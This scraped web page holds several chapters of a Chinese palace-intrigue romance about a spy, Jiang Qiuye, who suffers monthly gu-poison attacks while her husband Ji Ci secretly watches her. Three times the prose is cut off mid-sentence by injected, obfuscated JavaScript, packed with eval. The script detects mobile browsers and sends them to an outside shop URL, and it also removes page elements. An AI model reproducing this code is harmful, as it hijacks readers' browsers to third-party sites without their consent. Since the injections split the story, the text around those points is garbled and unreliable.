她正将食盒盖子盖好,正打算为季辞送去时,忽然眼前一黑,她踉跄了两步,立即用手撑住厨台,晃了晃脑袋,才清醒几分。紧接着,一股熟悉的附骨之痛从脊柱开始蔓延至全身,皮肤开始灼热。 姜秋叶缓了好一会儿,她才意识到,这些时日她满脑子都是怎样讨好季辞,竟没注意到,离上次已过了一月之期,开始毒发。 明月看着姜秋叶似乎状态不对,忧心道:“王妃?王妃还好吗?是否需要奴婢去宫中叫太医?” 她眼皮止不住地跳动,抬手按了按额头,道:“不必了。我只是昨夜未休息好。” 明月一怔,想起自己昨日在书房门前等着伺候,一时间脸红心跳,低下头沉默起来。 姜秋叶捂着头,蹙眉回了寝室,躺倒床榻上,有些心焦地缓着。 上一次听槿红说,新来的暗桩叫王匐,张仪死后,便代替她待在了京杉书院。她躺了一阵后,感觉能动弹些,便起身,直接独自一人出了门。 如今气温不热,却也不冷,身体中却火烧一般燥热,她越走越快,直接奔了起来。耳旁有些嗡鸣,毒药的发作让她内力全无,感官迟钝。 到了京杉书院时,她直接躲在了后院,等待着王匐出现。 片刻后,王匐便脸上带笑,来到了姜秋叶面前,朝着她拱手行礼,“秋叶大人,不知大人今日带来何种情报?” 此人是个方脸,带着一字眉,对她虽是恭敬,可眼神中透露着不善。 姜秋叶垂下头眼神暗了暗,压着嗓子道:“现如今,我虽是获得了信任,可情报哪儿有那么容易得到?我还在找,你先将这个月解药给我。” 王匐笑看着她沉吟一番,肃声道:“秋叶大人,到如今这么久的时日,你除了交出那五名细作的名单,什么也没能拿到。城防图没有,连奔稚也未能寻到,阁主问,这些时日你究竟在做何?这次的任务,实在没能体现出大人您万一的能力啊。” 姜秋叶眼皮一跳,作从容道:“你们明知季辞此人有多难搞,若是言无如此有本事,怎的不派别人来?” 王匐挠挠腮,耸肩道:“秋叶大人朝着小人生气亦是无用。不给大人解药,是阁主的决定,小人亦是无奈。大人放心,只要你能拿出任何有用的情报,我们立即将解药奉上。而阁主也说了,他曾经的许诺,一直都在。若是大人坚持不下去,便回飞燕阁,他举双手欢迎。” “除非......” 他的话语一顿,姜秋叶心中飘过不祥预感。 “......除非,秋叶大人彻底背叛了飞燕阁,背叛了骊国。阁主说了......” 他弯腰靠近她的耳畔,声音鬼魅般幽幽传来,似是扼制住了她的喉咙,“秋叶大人杀害涿竣王一事,他可不计较,但下不为例。” 话语刚落,便撤离开了身子,没再理会站在原地发呆的姜秋叶,福身退去。 姜秋叶面色有些狰狞,想到了离开的槿红,竟真的将涿竣王一事透露了出去。 这个该死的蠢女,或许当初便不应放了她。 今日天色有些阴沉,很快飘起了细碎小雨,街道上的一些小贩因此收摊离去。 走在大街之上,忽然间,似乎感到了身后有不寻常之处,她停下脚步转头往四周看了一眼。 街边叫卖的小贩,牵着孩子的父母,躺在摇椅之上的婆子。 她眼眸暗了暗,最后只随便寻了一家药铺子,买了些许去热火的药材便回了家。 她并不能确定是否是自己敏感多疑,若真有人跟踪她,会是谁?难不成是季辞?还是飞燕阁? 她如今万分不愿拿着季辞的情报去交换解药,她对他已经谎话连篇,难不成还要再一次背叛?看来近日里无法出这王府,只能先忍受一段时日,在府中暂避风头。 解药之事,她再另想他法。 忍着灼热回了王府,她将买到的药材拿入厨房,快速做了一份寒性极大的药,服下后便回到床榻上睡去。 将近天黑时刻,季辞才处理完整日要事,往王府而回。上了马车,他从中抽出一本书,低头翻看着,直到天去也一同入了车厢,马车才缓缓往王府而回。 “她今日都做了些甚?”季辞一边翻书,一边询问。 天去低了低头,道:“王妃晨间一直待在府中,直到午后突然一人出了府。王妃先是去了京杉书院,见过一人,出来后又去了一家药铺,买了些许药材,便直接回了王府。” 他私下派了四波暗卫监视她,王府中暗卫本就多,她并不能知晓这些人的任务早已从守卫府邸,换成了监视自己。 他们时刻向他报告姜秋叶的一举一动,毕竟是一个随时有可能覆灭大晋的飞燕阁银鬼,既然将她放在自己身边,那所有行事便更要小心。 如今,他可不敢再小看这个虚伪的女人。 “见人?见了何人?”他凝眉抬眼,不知在想什么。 “此人名为王匐,老家为骊国边金,调查后发现,他与曾经自杀而亡的张仪乃同窗。只是我们的人怕被王妃发现,不敢靠得太近,便没能听到他们交谈了何。” “药铺查过吗?” “查过,王妃进入后买了金银花等寒性药物,便直接离去,没有与任何人过多交谈。我们调查后,能确定,那间药铺应是清白。” “知道了,下去吧。”季辞关上书,抬起手压了压太阳穴,便开始闭上眼睛,靠着车壁假寐。 天去应声后,直接掀开车帘,与马夫同坐车外。他伸手接了接天空中飘下的细雨,心中震颤,实在没有想到,看起来人畜无害的王妃,竟然是飞燕阁细作。 从接到王爷命令时,到了现如今,他依旧还未能反应过来。 季辞回到王府时,刚到晚膳时分,他并没有如以往那般在王府门口见到等待自己的姜秋叶,心中有些狐疑。 而她则在寝室中睡到昏天地暗,深入骨髓的疼痛与燥热让她深感无力,一直到明月喊了自己许多次,她才彻底醒来。 “王妃?王爷回府了,王妃还好吗?真的不需太医?”明月看着她有些担忧。 姜秋叶摇摇头,坐起身缓了缓,才道:“无碍,我只是太累了,多休息便好,莫要与王爷多嘴。” “是。”明月将她从床榻上扶起,为她换上一身月白罗裙,随意整理一番。 听到归鸿院传来的动静,她深吸一口气,压□□内的火,调整一番表情,便拉开寝室门朝着正在入院的季辞而去。 “夫君回来了,我今日有些累,竟直接睡过了时辰,没到门口相迎,夫君不会怪叶儿吧。” 她甜笑着上前,却没像以往那般扑上去抱住他,或是牵住他的手。她担心被他发现发自肌底的热量与异常。 而季辞只是看了看她,如愿没有触碰,柔声浅笑道:“无碍,累了便睡。” “嗯,夫君饿了吗?一道与叶儿用膳可好?” “好。” 两人一道入了膳堂,下人将大桌菜盛上。姜秋叶胃口不佳,吃的不多,见季辞竟也是没吃完一碗饭便停了箸。 她将帕子递上,疑声道:“夫君今日胃口不好?” 他轻轻擦过唇角,朝着她笑了笑,“公务太过繁忙,积压不少文件,心中思虑罢了。” “你吃的也很少。” 姜秋叶顿了片刻,才出声道:“今日下午有些饿了,便忍不住先吃了些东西。” “嗯。”季辞挥手,让下人将食案上剩下的食物都撤走,这才重新看向她,不冷不热问她,“今日都做了甚?” 她以为他是在找话题与她闲聊,心中欣喜,忽然想到白日里做的春水生还未给他,便招呼明月从厨房取来。 她拿到后放于食案,将食盒打开,把粉嫩漂亮的果子往季辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12997015|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向一推,笑道:“没想到淑妃娘娘竟然送了蜜桃,我便将那蜜桃做成了这道桃夭琉璃果子,夫君尝尝看?” 季辞看着这道春水生,确实激起不少食欲,他一边用勺子挖出,一边无意状问道:“有劳了,除了做这果子,便没做其他了吗?” 姜秋叶抿了抿唇,想到自己出府之事,定然连下人都知晓,便道:“嗯,午后出去了一趟,也没做甚,便是在盛京闲逛了一番,又买了些药材回府。” 季辞放在唇边的勺子一顿,抬眸看向面色单纯的她,微微一笑,将那勺子转了方向,朝着姜秋叶唇边递去,“今日幸苦叶儿了,也难怪累成那般模样,睡了如此久,叶儿先吃。” 姜秋叶垂眸看着勺上所盛的透明果子肉,心中微微一喜,桃花眼挑起看着他,低头将那块果子肉服下。 清凉香甜,富有弹性,真不愧是自己所制。 “夫君也快吃。” “好。”季辞伸手揉了揉她的发顶,低下头将那道春水生全部吃完,一丝不剩。 确实好吃,甜而不腻,不愧是她的手艺。 夜晚入睡之时,姜秋叶在净室磨叽了许久,她没有泡那热水,便只拿一旁的凉水冲过身子。当她悄悄摸摸探出头时,发现季辞早已疲累地睡了过去。 她松了口气,至少不会那么容易发现她的异常。 不同于上一次毒发时的冬日,如今连着夜晚的气温也在骤升,毒药在体内接触这番温度后,越是升腾的厉害。 她微微一踉跄,无意间撞到了一旁的鎏金盆,发出一些声响。她心中一颤,立刻往床方向看去,见他还在沉睡,似乎并未被吵醒。 她轻手轻脚走近,将蜡烛吹熄,而后便爬上床里侧,在远离他的地方试图睡去。 即便是夜晚,也浅感闷热。她不敢辗转反侧,迟迟无法入睡。蚂蚁侵蚀的痛感带着火烧的灼热,散发至她每一寸肌肤,到了指尖,头皮。 再也难以忍受,她忍着没有痛呼出声,睁开眼睛,侧头看了一眼还在沉稳睡觉的他。轻轻掀开被褥起身,又爬下了床,出了寝室,关上房门后,便直接往小厨房奔去。 季辞其实一直未能睡着,在她关门之时,便睁开了双眼。他看着空荡的房间,最后还是起身,随意披上一件外衫,悄悄往门外而去。 彼时已是深夜,四周寂静无声,只有小厨房被点了灯火。 他见状不明所以,往小厨房而去,在口头探头看去,只见姜秋叶衣着单薄,似乎在煮类似于药之类的东西。桌上放着的金银花,应是她白日买回的药物。 姜秋叶并未注意到门口的身影,只是着急的抖腿,搓着手臂。 不一会儿,她将煮好的药盛入碗中,正要转身喝药时,季辞的声音竟突然响起,“你在做甚?” 她吓了一跳,手一抖,手中的碗竟直接掉落在地,摔了个稀碎。 她抬头看着走近的季辞,忽然找不到此时这番鬼祟的借口,又低头一看碎裂一地的瓷碗,心中更是灼热难耐。 看着她似乎想蹲下去捡那碎片,他眉头紧蹙,立即上前抓住她的手腕将她拉开,“让下人来弄就好。” 只是手心的温度让他愣住,他看向她有些呆滞面孔,问道:“怎的如此烫?你发了热。” 姜秋叶心还停留在刚才被他发现的时刻,脑子愈发昏沉晕乎,转头看向他带着担忧的眼神。感受到他抬起一只大手,捂住她的额头,她猛地一激灵,那冰凉的触感让她感到舒服些许,试图往那方向蹭去。 “我让人去叫大夫。” 季辞放下手正转身,却被姜秋叶一把拉住。 她舔了舔干燥的嘴唇,朝着他摇头道:“不必了夫君,如今已是半夜。而且,我只是风寒发了热,你忘了我懂药理啦,我自己煎份药,服下就会好了。” 他看着有些摇晃,似乎连站都无法站稳的姜秋叶,更是心慌。 真是染了风寒? 一阵燥热的风从屋外吹进,姜秋叶眼前越来越模糊,骨头酸疼不已,忽感胃中一阵翻涌,她理智下暗道糟糕,想立刻逃离。 却还未来得及挪步,竟一口鲜血喷出,飞溅在他身前的衣服之上,又溅上星星点点到了他的脸颊。 “叶儿——”季辞大惊失色,霎那间瞳孔收缩,心忽然坠落谷底,立刻上前扶住似乎晕过去的她,脸色一阵青一阵白。 他将他抱起,走出小厨房,大喊“来人”,整个归鸿院瞬间灯火通明,下人们只来得及穿上外衣而出,眼睛未能完全睁开,只是见到祁王抱着吐了血的王妃,众人纷纷鸟兽一般乱作一团。 季辞将人抱回寝室,并立刻让人去请太医令。 90.蛊毒【加更】 第九十章 姜秋叶吐血过后,还未来得及做出反应便昏睡过去。她才睡去前还在思索,怎样与季辞解释此番毒发。 不知为何,这次毒发反应竟如此迅速与剧烈,与以往完全不同。 整个王府亮了彻夜的灯,太医令从睡梦中被人喊醒,一路送至王府。 季辞站在一旁,面色沉稳,袖下的手却是缩着,目光死死盯着正在切脉的太医令。 而太医令却是一头雾水,诊了半晌,竟没看出是何病症。 他收起切脉的手,摸了一把额头虚汗,先悄悄一瞥季辞在杀人的视线,而后站起福身,却不知如何开口。 季辞失去了耐性,眉头皱成一个川字,从她发红的唇角转移视线到了太医令身上,“究竟何病?太医令可有诊出?” 他皱着脸,思索一番,最后拱手道:“回王爷,王妃这脉象平稳,心跳有力,筋脉通畅,并不像生了何病。若说是中毒,却也无丝毫中毒症状,双眼未见充血,舌苔指尖也不见发黑......” “所以呢?究竟为何?她怎会突然吐血昏厥?”季辞用力地呼吸着,问出一连串问题,似乎在控制着体内的怒火。 太医令咽了咽口水,冥思苦想一番后,忐忑不安道:“王爷,老臣有一猜测,或许王妃身体之中并无病症,也无中毒,而是......中了蛊。” “蛊?”季辞微愣,他并非没听说过蛊虫,可这东西玄乎得很,从未亲眼所见,一直以为不过是些类似于巫术之类的骗人把戏。 他转头看向躺在床上,双眼紧闭的她,“能确定吗?” “王妃体内的灼热并非来源于风寒,只是老臣对蛊术并不精通。” 看着季辞越发难看的神色,他立刻补充道:“不过老臣曾经云游四海学医之时,结识过一名擅蛊之士,名曰斐栀。刚好,他此时便在盛京,老臣会尽快将此人寻来。” “嗯,有劳太医令。”季辞严肃点头。 “不敢不敢,老臣这便为王爷去寻此人。”太医令一番心惊胆战后,便离开了王府,季辞派了几个侍卫一同跟随。 他落座床边,心中不安,伸手紧紧握住她细嫩的柔胰,有些发颤,却不说一句话,只是静静盯着她。 太医令速度很快,一个时辰内,便将那斐栀带来祁王府。 此人男生女相,连嗓音都是尖细,进来时先朝着季辞行过跪拜大礼,神情有些惶恐。而后又起身前往床边查探,片刻后,他起身再次朝着季辞拱手。 说话也十分恭敬,道:“回禀王爷,小人为王妃查过,此确为蛊毒。此蛊,小人曾在北部游历之时见过。施蛊人在自己体内种下母蛊,而子蛊则可种于多人。子蛊发作之时,便会产生蚁虫噬骨之痛,随之带来从内而外的灼热之感,非常人所能忍,随之而来,便会附带吐血之症。” 蚁虫噬骨之痛...... 非常人所能忍...... 季辞握着她的手震住,心中第一个想到的便是飞燕阁,定然是这组织为了控制阁中之人,为其种下子蛊。 “可有解法?”他没注意到自己嗓音有些颤抖。 斐栀咬了咬牙,道:“或许......有解,却必须找到在体内种了母蛊的施蛊人才可知。小人只知晓,子蛊每过一月发作一次,只要每月服下母蛊者之血,便能暂时压制子蛊发作。子蛊发作的程度,与时间,天气,心境,皆有关系,若是天气炎热,心中长久烦闷,便会加重蛊毒。” “不过王爷也不必太过忧心,此蛊仅仅只会让人感受痛苦,却不会取人性命。” 季辞指尖动了动,点头道:“知晓了,有劳先生。接下来的时日,本王希望先生能暗中研究此蛊解法,若能解除,本王必定重重有赏。” 斐栀心头一动,他所学蛊术不同于太医令医术,玄之又玄,再加上大晋禁巫蛊,少有人会用他,几十年一直郁郁不得志。如今祁王亲自给这机会,虽不知这祁王妃如何中蛊,可这对于他来说却是一次机遇。 他立刻叩谢,“多谢王爷!小人一定为王妃竭尽全力!” 想到何事,斐栀又补充道:“王爷,虽然目前小人无法研制出解蛊之法,却可配一些药方,缓解痛苦。” “嗯。”季辞抬手示意他起身,眼色冷漠,低声道:“那便有劳先生。还有,此事必须暗中进行,不得让任何一人知晓,也不得泄露王妃状况。” 斐栀一怔,不敢犹豫,立刻道“是”。 季辞为斐栀安排了住处,便让人将其带下,转头看回睡梦中还在蹙眉的姜秋叶,原本决定了冷漠坚硬的内心,在此刻软下来。 或许,她所有的谎言,都是不得已而为之? 这时,符叔突然敲门而入,看了一眼昏迷不醒的祁王妃,道:“王爷,老奴昨日想来禀报,却没能有机会。” “何事?” “橙苑那位,也发生了与王妃相同的症状,老奴派了医师过去,却是无功而返。” 季辞闭了闭眼,让符叔退下。不过一会儿,斐栀便送来了自己煎好的药,而后离开归鸿院。 在他的建议下,虽还未到盛夏,便也让下人提前将冰库的冰送入屋内。 他从案几上拿过药碗,如曾经熟悉的那般,亲口将药为她渡下。很快,便见她呼吸开始平稳。 他看着她枯坐许久后,从一旁的凉水中,将帕子浸湿,擦去她额上细汗。 这些天原本郁结的心绪,在此刻似乎转变为了另一种不安。 呵,姜秋叶,叶儿,可真残忍。 这样的她,还让他如何去怨恨? …… 天刚亮不久,季辞便离了王府,带上斐栀前往橙苑。 甫一拉开橙苑寝室的门,他身子剧震。 看到槿红趴在地上,四肢扭曲,浑身颤抖,痛苦地瞪大了双眼,眼白处通红,手指扣着地面,指甲生生断裂,鲜血流了一手。 只听闻是蚁虫噬骨之痛,可亲眼所见却是另一回事。 不同于对诏狱中的犯人用刑,只要想到他的小妻子,叶儿,也是承受这般剧痛,便心慌不已。 斐栀见状立即上前,掏出银针,几针下去,槿红昏睡过去,而后又将带来的药喂她服下。 直至一个时辰后,她才悠悠转醒,迷茫了片刻,突然想起来刚才便是祁王带来之人解了她的痛苦。虽现如今依旧如火烧一般,却比先前好了不少。 她正撑着身子,从床上坐起时,寝室门被推开,屋外刺眼阳光射入,让她眯起了眼睛。 季辞让斐栀退下,将门关闭后,站在了槿红床边,看着她有气无力,试图起身行礼。 他摆摆手,免了礼节。 “刚才、刚才多谢王爷!” “不必。”季辞没有坐下,只是站在床边眼神黯淡,“你身体内的蛊,是飞燕阁种下的么?” “蛊?”槿红一愣,她却是没想到这竟然是蛊,而非毒药,“是,王爷。在我成为铜鬼之日,便要求服下,只是,我一直以为那是某种毒药,没想到竟是蛊。” 季辞冷然道:“如今你已叛变飞燕阁,被其追杀,唯有本王能保下你。而你体内蛊毒,他们更是不会将解药给你,本王手下能人异士,正在研制解蛊之法,若你听从本王,本王可让其为你压制蛊毒发作。” 槿红心中一喜,这些时日她忐忑不安,如今得到祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她摇头讽刺道:“其实我们的经历很简单,没有什么太多的。只不过是入阁之后,一场连接一场的训练与考教。每次考教都会死去许多人,只有最后活下来的人,入了上级的眼,才能成为铜鬼。” “我们的生活日复一日,不允许任何胆怯退缩,若是不厮杀出一条血路,等待自己便只有死亡。”她忽然苦笑,“或许,死亡才是最简单,也最舒适的,活着,实在太难。而此次任务,其实是我成为铜鬼后的第一次任务,没想到便如此失败……” 季辞在橙苑待了整整一日,直到天黑时,才上了马车,往王府方向而回。 他在马车中沉默地发呆,回忆着白日里槿红告知的一切。 他自然知晓大名鼎鼎的飞燕阁,那是晋国的心腹大患,其中银鬼以上的杀手,非寻常组织的杀手可与之比拟。 只是对于其内部的残酷,他第一次听闻。 知晓这一切后,原本心中对姜秋叶的恨意,已全然消散不见。 他试问,他们这群人是否有选择的余地?似乎根本没有。从被卖入飞燕阁的第一日起,便被那组织推动着往前行步,而身后则是万丈深渊。 不前进,便会死。 他的小妻子,六岁,那么小的年纪开始,便日日经历这样的生活,而他又凭什么,要求她良善做人。 此刻他忽感庆幸,幸好她聪慧狡猾,心机深沉,又能抛弃良善,下得去手。否则她又怎能以如今这娇媚的模样与姿态出现在他的面前。 他多年枯竭的心,以及那苟延残喘的病体,皆因她而痊愈,他好像因她又重新拥有了鲜活的生命。 他又怎能对她诸多要求? 马车停到王府门口,马夫在外呼了好几声,都不见季辞反应,拉开车帘发现他竟还在发呆,便又撤了回去,不敢打扰。 就这般停滞了一个时辰后,他才下了马车,一路往归鸿院而去。府中花开正盛,连续数日阴雨,终得见些许阳光,反射过花瓣之上的点点水珠。 一整日的思考之后,他终是下定决心,给了自己最后的答案。 91.言无 第九十一章 他太爱她。 他因她而心软。 这便是答案。 季辞加快脚步,电闪雷鸣般直接打开寝室的房门,冲了进去。 姜秋叶醒了很久,可他速度太快,以至于她还未反应过来,便见他到了自己跟前,心跳快了起来,拿在手上的金脚链还未能藏起,只是看着眼眶下有些乌青的他呆愣住。 他低眸一瞥她手上的东西,看出了她眼中正在试图隐瞒的慌张无措,似乎在思索借口。关于这无故吐血和手上之物的借口。 她转了转眼珠,忐忑道:“夫......唔!” 未想到,她还未说完,季辞便倾身而下,一手桎梏住她的后颈,力量之大,以吻封缄。 无所谓了,他不会再问她这些,他只知道,他真的很爱她。 姜秋叶瞪大了眼睛,手上的金脚链滚落到床侧,牙关被轻轻撬开,原本口中苦涩被一股甜腻所掩盖,长驱直入,让她不觉颤栗。 这个吻持续了许久,他才离开她的唇,呼吸沉重到她能感受到喷薄在脸上的气息。 姜秋叶的心要跳得直冲天灵盖,原本想好的某些借口,在这瞬间似乎被那个猛烈的吻而夺走。 “夫君,我......” “嘘,不要说话。”他打断了她,坐在床榻边,将她圈入怀中,猛吸一口她脖颈上的香味,惹她一痒,不由肩膀一耸。 此时此刻,他不想听她编造的谎言,他宁可她不说。 他低沉的声音传入她的耳内,“让我抱一抱,抱一抱就好。” 姜秋叶直觉到,他似乎与以往有何不同。想到她昏迷前吐血,若他知晓了自己的身份,怎还会如此对她? 唯一能用理智来解释的,便是她把他吓到了。就如同她挡剑那次。 她抬起手轻轻拍了拍他的背,哑着嗓子道:“简兮哥哥,叶儿无碍,睡一觉起来,感觉好多了。” 虽然体内仍火烧一般燥热,可之前那让人难以承受的噬骨之痛似乎消散了些许,不至于让她无法自控。 季辞沉沉在她耳边叹息一声,放开她,定定看着她瘪着嘴巴,有些迷茫的桃花眼。 他不自觉轻笑一声,抬起手揉了揉她的发顶,道:“太医令来看过了,虽然看不出是何病症,不过他说不会有何性命之忧,只需好好休息便好。你昏睡时,他开了药,我给你喂下了,感觉可有好些?” 原来是太医令开了药,她心头有些紧张,不过看他的模样,不像是对她有何怀疑之处。 她放下了心,微微一笑,轻轻点头道:“难怪,叶儿感觉好了不少。” “叶儿。” 季辞喊了她一声,又隔了好一会儿,拉住她的手摩挲着,又看着他认真道:“以后再有这些事,便与为夫说,我定会想办法为你解决。” 姜秋叶没听懂他言下之语,便只是点了点头,嗯了一声。 季辞看出她的敷衍,有些深感无力,又紧了紧她的手,严肃道:“这些时日,发生过太多,说实话,我日日难以安寝。叶儿,我承认,我被你所惑,为你放下曾经根深蒂固的道德观念。我已然决定,无论你之前做过何事,我都不再计较。” “我对不起亲手制定的《大晋新律》,对不起季氏王朝,对不起太皇太后,对不起曾在母后跟前的誓言。但是,叶儿,我虽是大晋的祁王,是季辞,季简兮,却也是你的丈夫。” “你是我的妻,是我亲自求娶,三书六礼,过了我季氏皇家之门的人,我们未来共度一生。你我夫妻一体,无论何事,何时,为夫都可以包容于你。哪怕为你放下执念,只因我是你丈夫,是你的......简兮哥哥,便要为你撑起树冠。” 姜秋叶睁大双眼,压下心底的异样,忽而疑惑,“夫君......” “叶儿,我知你依然对我有所隐瞒,我不会再强求你一定要告知于我。若是易地而处,我怕是也做不到这般。”他垂眸苦笑,“可是叶儿,我要你信任我,只要有我在,我会为你解决一切,你无需独自一人承受所有。你有丈夫,我可让你随意依靠。” 她呼吸骤然加剧,心中海浪激涌翻滚,无法抑制。是震撼,是打破从小到大,长存于心底的固有观念。 他是她的夫君,她无需独自一人,可以依靠于他。 真的吗? “夫君,我......” 她差点脱口而出,将自己的身份,飞燕阁,全部坦白。可余光忽然一闪而过那串金脚链,将刚才差点冲出口的话又收了回来。 “嗯?”季辞轻轻歪头,试图看她的双眸。 她低下头,不知如何回复于他,只是掰着手指,心痒难耐,心中焦虑而纠结。 季辞很有耐心地没有催促,他看出她刚才眼中一闪而过的恐惧,虽不知她具体在害怕何,但他愿意给她时间。 等待片刻后,他打断她的思绪,道:“好了,莫要多想,你饿了吧。” “啊?” 她虽然一整日都在睡觉,没有吃饭,可却不饿,也无甚胃口。 季辞抿着唇,伸手摸了摸鼻尖,笑道:“我饿了,陪我用膳吧。我的小王妃。” 他此番模样真是第一次展现在她眼前,忽而逗得她不由一笑,颔首,掀开被褥下床,牵着他的手一起往膳堂而去。 夜色深沉,季辞将她紧紧抱在怀中沉睡过去。而姜秋叶或许是白日里睡过了足够的时间,又或许是心中依旧被季辞那段话所震撼。 她小心地抬头,看着闭眼深睡的他,悄悄抬起手,食指从他的额顶顺着鼻梁滑下。月色下,睡着的他像一个孩子,而他好像很久没能如这般睡好。 真的要将一切都向他坦白吗? 他知晓一切后,会厌恶她吗?还会用那般深情的眸子看她吗? 她自从意识到自己动心之后,似乎就变了,她变得害怕与不安。自己的面具被他一层层亲手撕开,她竟找不到用何物来遮掩。 她想要以完美的形象存在于他心中,可自簌簌一案暴露后,她便已不完美了。 姜秋叶思绪重重,竟在他上朝前半个时辰,才迷迷糊糊睡去。 第二日醒来时又是睡过了晌午,只她一人在床榻上。她起身,唤了明月进屋帮自己梳洗。当头发被梳好,插上鎏金步摇后,明月将一碗药放于妆奁之前。 “王妃,这是王爷走前特意叮嘱的,让王妃将药服下,缓解身体病症。” 姜秋叶看着那碗乌黑的药,微微皱眉,不过想到昨日服食这药后,效果确实比自己配的寒性药物有效得多。 她抬起药碗,捏着鼻子,一口将其灌下,苦涩的味道让她差点儿吐了出来,浑身打了个颤,连头发丝都在发麻。明月见状立刻递上蜜饯,姜秋叶眯着眼睛睁不开,直接张嘴让明月将蜜饯塞入她口中。 甜味化开,她缓了好一会儿,才完全清醒过来。 这药竟能如此苦!比她以往服用过的所有药都苦! 明月红着脸笑道:“王妃,这蜜饯啊,其实也是王爷特意叮嘱的,他说王妃吃不得苦。王爷真的很在意王妃呢。” 姜秋叶听闻后瞥了她一眼,嘴角压制不住笑意,紧接着红了耳根。 不过这药虽能缓解些许疼痛,却也只是缓解而已。看来并非长久之计,或许她还是得再去一趟京杉书院,寻那王匐,也许威逼利诱,能让他拿出解药呢? 她打诨了这么久的时日,每月都能找到借口拿解药,这次定然也可。 这般想着,她便让下人摆上午膳,随意吃了几口后,独自一人出了王府。 出了屋子,感受到屋外的热浪袭来,她两眼忽然黑了一瞬,恢复清明后,她才察觉到,自己竟未发现,原来屋里早已放了冰。 忍着身体的不适,直接往京杉书院而去。她如以往那般躲在后院之中,等待王匐出来。可此人动作实在太慢,她有些不耐烦的跺着脚,又挠了挠头。 直到听见身后传出脚步声,她才不耐烦开口道:“你今日怎的了?竟如此之慢,这都过两炷香了!” “叶儿还是如以往那般,做事毫无耐心啊。”一道阴森的声音传入姜秋叶耳朵。 她愣在原地无法动弹,寒意从脚后跟爬上头皮,在扩散至四肢。她呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008796|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸急促,半晌后听闻没动静,才转过了身,盯了许久后,战战兢兢道:“言!无!你怎么来了?” 言无两眼细长,下巴有些尖,身着玄色华服,兰花指翘起,放在腰间,面上带着笑意,死死盯着眼前的姜秋叶。 他没有回答,倒是姜夏花从门后走出,激动地朝姜秋叶而来,兴奋道:“姐姐!” “我们都知晓!姐姐背叛了飞燕阁,为了让姐姐不继续一错再错下去,阁主便亲自寻了过来。” 姜秋叶咬牙,心中又将槿红咒骂了数遍。她咽着口水,强迫自己看回言无那双漆黑而无神的眸。 言无见她不愿开口,便道:“那是一部分原因,主要还是,言无哥哥思念叶儿思念得紧。如今叶儿是飞出笼的鸟儿,实在让哥哥有些担忧。” 这个变态! “我、我......你答应过我的,若我能完成此次任务,便将最终的解药给我,还我自由。” 言无听闻后面色不变,点头道:“自然,哥哥说话一向算话。只是叶儿啊,这么些个月过去,叶儿好像......什么也未做啊。” 姜秋叶不由后退一步,呼吸愈发混乱,辩解道:“那盛京城防图,我将整个王府都翻过了,并未找到,或许、或许根本不在王府。” “哦,是吗?”言无没有说信或不信,“若叶儿说的是真的,便好。我差点儿还以为,你对那祁王上了心,不愿背叛于他,所以才杀了涿竣王,而平日的任务也是吊儿郎当应付。如此冷血无情的叶儿,怎会爱上一个男人呢?” 姜秋叶的心忽然跳漏一拍,立即摇头否认,“自然没有!” 言无则看向她的脚踝,问道:“叶儿,哥哥送你的脚链呢?有好好收着吗?” 她蹙眉,躲开他的视线,道:“那东西太容易惹人怀疑,我便将其收起来了。” “收着便好,可千万别扔了。”言无向她靠近几步,俯下身,呼吸喷在她的脸上,她皱眉,不适地将头转开。 见她这般作恶的反应,言无忽然笑了一声,声音继续无起伏道:“若叶儿将那脚链弄丢了,可别怪哥哥惩罚叶儿。哥哥也不想见叶儿那般痛苦,哥哥心疼叶儿。” 姜秋叶瞪着眼睛转回头盯着他那无光的眼,死死咬着下唇,脚趾蜷缩,双手用尽了全力,才控制住不去颤抖。 惩罚,她比任何人都清楚他的惩罚手段。 许久沉默对峙之后,言无退开,从袖中拿出一枚丹药递给她,“拿去吧,这个月的解药。哥哥知道叶儿毒发,心疼得很。只是下一次,或许便没这么好运了。” 姜秋叶看着他指尖黑色的药丸,伸出手试图拿过,可言无却没有放开,她不明所以时,言无忽然暗戳戳开口道:“叶儿,别怪哥哥没提醒你。千万、千万、不要爱上那个男人,否则......” 他话没说完,眼中却是阴鸷。姜秋叶知晓他后半句是什么。 她试图拿药的手指一顿,震惊地抬头看向言无,脑中似乎有哪根神经忽然崩裂。片刻后,她嘲讽一笑,眯着眼睛道:“言无!我劝你莫要动不该有的心思!若你敢动他,我就算拼死,也会在死前先将你碎尸万段!” “姐姐!”姜夏花见她忽然如同护仔的母鸡一般,竟敢反抗言无,心中大惊。 言无收回了笑意,转了转指尖的药丸,最后又笑了起来,道:“叶儿放心,祁王能耐大着,这又是在盛京,我如何动得了他?” 他向着姜秋叶抬了抬手指,问道:“解药还要吗?叶儿。” 姜秋叶心中怒火正盛,她也没想到刚才竟忽然对言无说出这番威胁之语,连她自己都愣住。不过话已出口,再怎样都不可能收回。 她上前,暴躁地将他手中药丸拿过,直接服下,而后没有留下一个眼神给这两人,便离开了京杉书院。 言无看着空荡的天空许久,一直未动弹。姜夏花疑惑,喊了一声:“阁主?” 